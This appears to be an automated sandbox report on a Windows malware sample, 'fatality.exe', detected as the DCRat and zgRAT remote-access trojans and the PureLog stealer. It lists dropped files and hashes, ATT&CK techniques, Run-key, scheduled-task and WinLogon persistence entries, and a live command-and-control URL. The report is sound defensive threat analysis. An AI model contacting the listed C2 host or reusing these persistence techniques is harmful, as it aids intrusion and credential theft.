Source: Yara match	File source: 0.3.fatality.exe.61276fb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000000.2154251143.0000000000782000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2039419279.0000000005FE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2038554623.0000000005FE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\dbg\containerReview.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe, type: DROPPED
Source: Yara match	File source: C:\blockcomSession\containerReview.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: fatality.exe, type: SAMPLE
Source: Yara match	File source: 0.3.fatality.exe.61276fb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fatality.exe.61236fb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fatality.exe.61236fb.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.containerReview.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fatality.exe.61276fb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\ProgramData\dbg\containerReview.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe, type: DROPPED
Source: Yara match	File source: C:\blockcomSession\containerReview.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.2227774812.0000000012D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: containerReview.exe PID: 6536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mQBLhXIPAJ.exe PID: 2172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mQBLhXIPAJ.exe PID: 5624, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: fatality.exe, type: SAMPLE
Source: Yara match	File source: 0.3.fatality.exe.61276fb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fatality.exe.61236fb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fatality.exe.61236fb.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.containerReview.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fatality.exe.61276fb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000000.2154251143.0000000000782000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2039419279.0000000005FE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2038554623.0000000005FE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\dbg\containerReview.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe, type: DROPPED
Source: Yara match	File source: C:\blockcomSession\containerReview.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: fatality.exe, type: SAMPLE
Source: Yara match	File source: 0.3.fatality.exe.61276fb.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fatality.exe.61236fb.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fatality.exe.61236fb.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.containerReview.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.fatality.exe.61276fb.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\ProgramData\dbg\containerReview.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe, type: DROPPED
Source: Yara match	File source: C:\blockcomSession\containerReview.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	241 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	OS Credential Dumping	3 File and Directory Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	45 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	451 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	21 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	14 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	361 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
fatality.exe	84%	Virustotal		Browse
fatality.exe	71%	ReversingLabs	Win32.Trojan.DCRat
fatality.exe	100%	Avira	VBS/Runner.VPG
fatality.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	100%	Avira	TR/Spy.Agent.cptjt
C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	100%	Avira	TR/Spy.Agent.cptjt
C:\Users\user\Desktop\RUDRugHQ.log	100%	Avira	TR/PSW.Agent.qngqt
C:\ProgramData\dbg\containerReview.exe	100%	Avira	TR/Spy.Agent.cptjt
C:\blockcomSession\RezYUes00TmmVGwINjr2qWMSbF3Etb9Bt2Ra62zGWDtewTBc.vbe	100%	Avira	VBS/Runner.VPG
C:\Users\user\Desktop\jPEOVQoM.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\AppData\Local\Temp\2BGdjLelXV.bat	100%	Avira	BAT/Delbat.C
C:\blockcomSession\containerReview.exe	100%	Avira	TR/Spy.Agent.cptjt
C:\Users\user\Desktop\GgZbKUMi.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\HTJtRROP.log	100%	Avira	TR/AVI.Agent.updqb
C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	100%	Avira	TR/Spy.Agent.cptjt
C:\Users\user\AppData\Local\Temp\aQ1wx53V7n.bat	100%	Avira	BAT/Delbat.C
C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	100%	Joe Sandbox ML
C:\Windows\System32\SecurityHealthSystray.exe	100%	Joe Sandbox ML
C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\RUDRugHQ.log	100%	Joe Sandbox ML
C:\ProgramData\dbg\containerReview.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\nCWNxMEA.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\jPEOVQoM.log	100%	Joe Sandbox ML
C:\blockcomSession\containerReview.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\RLUzQxgL.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\VquIdqjl.log	100%	Joe Sandbox ML
C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\yCQlabwB.log	100%	Joe Sandbox ML
C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Dnoper
C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Dnoper
C:\ProgramData\dbg\containerReview.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Dnoper
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Templates\mQBLhXIPAJ.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Dnoper
C:\Users\user\Desktop\GgZbKUMi.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\HTJtRROP.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\LTranRbW.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\PRRjZxCV.log	25%	ReversingLabs
C:\Users\user\Desktop\RLUzQxgL.log	8%	ReversingLabs
C:\Users\user\Desktop\RUDRugHQ.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\VquIdqjl.log	8%	ReversingLabs
C:\Users\user\Desktop\eTDxNkzS.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\jPEOVQoM.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\nCWNxMEA.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\ucFnGTXv.log	25%	ReversingLabs
C:\Users\user\Desktop\yCQlabwB.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\blockcomSession\containerReview.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Dnoper
C:\blockcomSession\mQBLhXIPAJ.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.Dnoper

Source	Detection	Scanner	Label
http://373292cm.nyashka.top	0%	Avira URL Cloud	safe
http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php	0%	Avira URL Cloud	safe
http://373292cm.nyashka.top/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
373292cm.nyashka.top	unknown	unknown	false		unknown
15.164.165.52.in-addr.arpa	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://373292cm.nyashka.top/	mQBLhXIPAJ.exe, 00000013.00000002.2290300751.0000000002908000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.enigmaprotector.com/	fatality.exe, 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmp	false		high
http://373292cm.nyashka.top	mQBLhXIPAJ.exe, 00000013.00000002.2290300751.0000000002908000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	containerReview.exe, 00000005.00000002.2220599721.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp, mQBLhXIPAJ.exe, 00000013.00000002.2290300751.0000000002908000.00000004.00000800.00020000.00000000.sdmp	false		high
http://373292cm.nyashka.top/JavascriptSecureSqlLocalTemporary.php	mQBLhXIPAJ.exe, 00000013.00000002.2290300751.0000000002908000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.enigmaprotector.com/openU	fatality.exe, 00000000.00000002.2055561200.0000000000E5B000.00000040.00000001.01000000.00000003.sdmp	false		high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589980
Start date and time:	2025-01-13 12:47:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	58
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	fatality.exe
Detection:	MAL
Classification:	mal100.spre.troj.expl.evad.winEXE@58/46@10/0
EGA Information:	Successful, ratio: 10%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.45, 52.165.164.15, 4.245.163.56
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target containerReview.exe, PID 6536 because it is empty
Execution Graph export aborted for target containerReview.exe, PID 7200 because it is empty
Execution Graph export aborted for target containerReview.exe, PID 7216 because it is empty
Execution Graph export aborted for target containerReview.exe, PID 7368 because it is empty
Execution Graph export aborted for target containerReview.exe, PID 7696 because it is empty
Execution Graph export aborted for target mQBLhXIPAJ.exe, PID 2172 because it is empty
Execution Graph export aborted for target mQBLhXIPAJ.exe, PID 5624 because it is empty
Execution Graph export aborted for target mQBLhXIPAJ.exe, PID 7508 because it is empty
Execution Graph export aborted for target mQBLhXIPAJ.exe, PID 7600 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:48:24	API Interceptor	1x Sleep call for process: mQBLhXIPAJ.exe modified
12:48:16	Task Scheduler	Run new task: mQBLhXIPAJ path: "C:\blockcomSession\mQBLhXIPAJ.exe"
12:48:16	Task Scheduler	Run new task: mQBLhXIPAJm path: "C:\blockcomSession\mQBLhXIPAJ.exe"
12:48:19	Task Scheduler	Run new task: containerReview path: "C:\blockcomSession\containerReview.exe"
12:48:19	Task Scheduler	Run new task: containerReviewc path: "C:\blockcomSession\containerReview.exe"
12:48:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ "C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe"
12:48:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run containerReview "C:\blockcomSession\containerReview.exe"
12:48:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ "C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe"
12:48:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run containerReview "C:\blockcomSession\containerReview.exe"
12:48:52	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run mQBLhXIPAJ "C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe"
12:49:00	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run containerReview "C:\blockcomSession\containerReview.exe"
12:49:16	Autostart	Run: WinLogon Shell "C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe"
12:49:24	Autostart	Run: WinLogon Shell "C:\blockcomSession\mQBLhXIPAJ.exe"
12:49:32	Autostart	Run: WinLogon Shell "C:\Users\All Users\dbg\containerReview.exe"
12:49:40	Autostart	Run: WinLogon Shell "C:\Users\Default\Templates\mQBLhXIPAJ.exe"
12:49:49	Autostart	Run: WinLogon Shell "C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe"
12:49:57	Autostart	Run: WinLogon Shell "C:\blockcomSession\containerReview.exe"

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\GgZbKUMi.log	OneDriveStandaloneUpdater.exe	Get hash	malicious	DCRat	Browse
	85D5ktqjpd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	VIyu4dC9CU.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	top.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	DC86.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	WinPerfcommon.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Udzp7lL5ns.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	loader.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	hz7DzW2Yop.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	7aHY4r6vXR.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files (x86)\Microsoft\Edge\Application\CSC4E919528C4A844BA8820AEF1C7C5AE5.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1168
Entropy (8bit):	4.448520842480604
Encrypted:	false
SSDEEP:	24:mZxT0uZhNB+h9PNnqNdt4+lEbNFjMyi07:yuulB+hnqTSfbNtme
MD5:	B5189FB271BE514BEC128E0D0809C04E
SHA1:	5DD625D27ED30FCA234EC097AD66F6C13A7EDCBE
SHA-256:	E1984BA1E3FF8B071F7A320A6F1F18E1D5F4F337D31DC30D5BDFB021DF39060F
SHA-512:	F0FCB8F97279579BEB59F58EA89527EE0D86A64C9DE28300F14460BEC6C32DDA72F0E6466573B6654A1E992421D6FE81AE7CCE50F27059F54CF9FDCA6953602E
Malicious:	false
Preview:	.... ...........................D...<...............0...........D.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...8.....I.n.t.e.r.n.a.l.N.a.m.e...m.s.e.d.g.e...e.x.e.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...@.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...m.s.e.d.g.e...e.x.e.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <security>.. <requestedPrivileges xmlns="urn:schemas-micro

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9068031664580603
Encrypted:	false
SSDEEP:	48:6HmBthxZ8RxeOAkFJOcV4MKe28dsd4AWvqBHbuulB+hnqXSfbNtm:HexvxVx91vkNTkZzNt
MD5:	998E484FDD980EE25C6B31E000884188
SHA1:	F3D0E823C5093D4AFCCE7E3B00989B52B76F1A78
SHA-256:	72E9AC11A2B418ED2C2F73452961D8DB617767E6D84CA3E8CD4535EFC7F500BD
SHA-512:	43B026F710397167E4FFA57E3FCC9E8D7C236EF3F61454336FFE71D03E62D33ABD8D7170FE6D095A80BDA2F928F5CE2E46E55D4B367F59F8735607FBB6A2D2E7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.............................'... ...@....@.. ....................................@.................................P'..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..(.............................................................(.....0..!.......r...pr...p.{....(....(....&..&......................0..........r...p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings............#US.........#GUID....... ...#Blob...........WU........%3................................................................

C:\Program Files\7-Zip\Lang\d81cfa058c78b8

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	ASCII text, with very long lines (364), with no line terminators
Category:	dropped
Size (bytes):	364
Entropy (8bit):	5.797295390114544
Encrypted:	false
SSDEEP:	6:AAra9uyRvq+XEWhLiRnTVxR/ImMaVlaRs0qhEWnF+m9//kbPTaNBextKw8WHWxcY:AAgy+NRinX/I5esRs0AEVy/ygBYIraQH
MD5:	278BD2271A21B01BEE6E0DDFF3518B17
SHA1:	8188A2D3D4C78B86F1FE906E50A4D51DA8402B33
SHA-256:	336C7CF8EF6A006D8D9AC9863ECF66196245614A22B246F5CD97AA56B5726C99
SHA-512:	C8D8B49D627D625D1ABD6D5AA5CB58FFF25FAC68D154D351A56D52275EF7AF7E69AC29E7E3BE83B38D72E1E8F6C4981EFC2B818297259C0A235832E8D43CC63B
Malicious:	false
Preview:	TeFqWekeqsL4hJaj5YDAo1lxh69RRz1YBAzLW4KEiNUnrPiTDpnmBcrb2SJafTM01w2gTONBO8bah7FSYpNmMPXiSYTEvtjPBdw5WBAzcmXDBR44N1BzGkomZUN55IQeYMYELK5WpXJk1ThBdY03suJbzKfByE4TW3py20tD5oKsaEvFwMbhRWvoC7OAo3ikdzN7osInox7DjaAvZZPmmXB9IAv4lsYBFjOl0xbDDx2dZrEm7dlOo67GxOzo6NC5Z579MY5l8Liyehka5J7HHJXJlIxl8wGzv7EdtEZiiAQcXImPoYswQ4yQiyXDkTmLEtDhdHq1tYjG34vdfi7kEUi0Ix45qV8PXEYoFFvhs1D2

C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2006016
Entropy (8bit):	7.565400810273061
Encrypted:	false
SSDEEP:	24576:Ens6R8MzM9PKio0d/wAJqc47Z9CN1rgtq1DBukkM3vCRj8Joo4ytx605H3uG2nkZ:EaocGZcrgtq1NVkMfko4u6EL29qN
MD5:	F568E43BC473CD8CEB2553C58194DF61
SHA1:	14C0FFF25EDFD186DAB91EE6BCC94450C9BED84D
SHA-256:	C91375814E8A5BB71736CE61FA429BC7B98A2B7B2A254B9967C51F3FCCFACD52
SHA-512:	47CF66CE90FECD147077C72DC3F06DB2199B9BC96E887915D6B0D4BFEA7577D60A7345DA6E5BC59967D02528FBDF6C8BF86233261338F782B9185C890FBC400E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. ....................................@....................................K....... ............................................................................ ............... ..H............text...$.... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.........................\...M........................................0..........(.... ........8........E...........N...)...8%...(.... ....~p...{c...9....& ....8....(.... ....~p...{y...:....& ....8....(.... ....~p...{....9....& ....8y......0.......... ........8........E....1...............V...8,.......~....(E...~....(I... ....?.... ....8.......... ....~p...{m...:....& ....8....~....(=... .... .... ....s....~....(A....... ....~p...{....9Q...& ....8F...r...ps....z*~....:..

C:\Program Files\Windows Security\BrowserCore\en-US\d81cfa058c78b8

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	ASCII text, with very long lines (845), with no line terminators
Category:	dropped
Size (bytes):	845
Entropy (8bit):	5.897614772047287
Encrypted:	false
SSDEEP:	12:Cr42WpCrApUCl5glvZXzcet9oMPDeSdef8Yjz4sTW17bJEj+2+tazYMLegG:04UGqlBzt9rLSUYjz4d2+btkyx
MD5:	ECBAAB294C165D0E25952251D1A8AF6E
SHA1:	15F7DA23E33A613565F716EC0D01F4474A4216A5
SHA-256:	B018C02EB84BED011EABAB1BB6D25CF277DBED9B7CDC5F69120C8BAE131AE404
SHA-512:	B561897E467A566150788D183C05E71E4A036359649A7E404A09F9119E49F71F9B56FBEF8559238BA6C7D98C860E0160C23668A7DF1FEDB8059540F8339E1DE5
Malicious:	false
Preview:	TJUr04pR7GbJpeJcef03IIBYp1pQPFPTbUFxTojnO9hWlStEJTWVDbrLI6C9PYB21IsUYVIz5MpIlowXIkH6t4P9m3pXmkYz8ofdkYpyKgZ1wjkdKo1oREI72ssepvMVx0K6JTwt4SwMeYNDTMM7suh3gik1pLIYTED5YoU12Ht9S6cefoLdiPmDSRaks5DtJX3ZURop1VFlAikjGFWA9pzEcAmHOtI7DAz5DCKOAgmNJACuq0eniDtehy7TohbHNIhAspgD5IAdDm5b72bXPeYAQUYOF0jcFe9AcCCBTasaCQb43fWwGD2tuhuXQS8EihYin484zZEyw7793dUjexWBmQQ5SouAcn2e22R9gb6q8D6wjuew7YkuLW6WnDmLpDWJFdHBMVCC0qCiTeWiK7DDCHTf64VdyuA5rxrFmdjmWi3eTXDJrDBrASG7KlES9iNGpH1gwQ5rXareNyMi0MwutT4Yqt5AYRmxUxzLggWaIUTjlmtVZgcxvcWWMczDU5SGx3KZ9ACUzWmZAUxE9jk1zzB1bc9DqTFMBMwscTWZeH7Zz6W2ovDvUbR81S8gB8ngQaYxiFlpNLXr1lBeGGY5PU2j4x0JVzYgebJZiiTjKXhJDkHPRdZ4jsQ5hy3vPbUYw1MZcl6ixzu1xsfTqk21Ze6wLO2tphUsDJWMYrxph1Gu7YHySjEojc8S4aONtM3PeCyoWT58wMThXMywGDaFdpJkKER8cj6V80P5kdc9oG1WJa4slcHpvxwz2NdRB6fNQ8jg73LmkbbWywbuKjXAcQjKEaCXAL8rkoGK1XvrReEUWZBGvtHbjfu9ZYcg0xmZctwJqQ3wy

C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe

Download File

Process:	C:\blockcomSession\containerReview.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2006016
Entropy (8bit):	7.565400810273061
Encrypted:	false
SSDEEP:	24576:Ens6R8MzM9PKio0d/wAJqc47Z9CN1rgtq1DBukkM3vCRj8Joo4ytx605H3uG2nkZ:EaocGZcrgtq1NVkMfko4u6EL29qN
MD5:	F568E43BC473CD8CEB2553C58194DF61
SHA1:	14C0FFF25EDFD186DAB91EE6BCC94450C9BED84D
SHA-256:	C91375814E8A5BB71736CE61FA429BC7B98A2B7B2A254B9967C51F3FCCFACD52
SHA-512:	47CF66CE90FECD147077C72DC3F06DB2199B9BC96E887915D6B0D4BFEA7577D60A7345DA6E5BC59967D02528FBDF6C8BF86233261338F782B9185C890FBC400E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
